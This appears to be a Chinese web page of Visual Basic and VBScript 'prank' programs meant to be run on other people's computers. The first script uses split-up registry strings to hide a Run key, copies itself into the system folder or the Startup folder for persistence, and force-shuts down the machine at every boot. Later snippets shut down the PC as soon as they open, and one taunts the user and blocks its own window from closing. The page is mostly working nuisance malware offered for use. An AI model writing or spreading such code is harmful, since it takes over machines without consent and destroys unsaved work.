VB关机恶搞小程序一:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb.vbs")) Thencall Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ"strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.GetFile("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub
上面的有点复杂,那就来个稍微简单的
代码如下:
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
当你可以采用一个更加简单的写法
直接输入以下代码即可:
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem 后面的 -t 0 表示0秒关机,如果去掉 -t 0 那么默认是30秒关机End Sub
方法三:
Private Sub Command1_Click()If Text1 = "我是猪" ThenShell "cmd.exe /c shutdown -a"MsgBox "哈哈放过你吧!", 64, "提示"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机", 48, "提示"Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("想关掉我???", vbOKCancel + vbQuestion, "关闭窗口")If g = vbOK ThenCancel = 11MsgBox "哈哈你关不掉我的快说我是猪吧", 64, "提示"End IfIf g = 2 ThenCancel = 11End IfEnd Sub
新闻热点
疑难解答
图片精选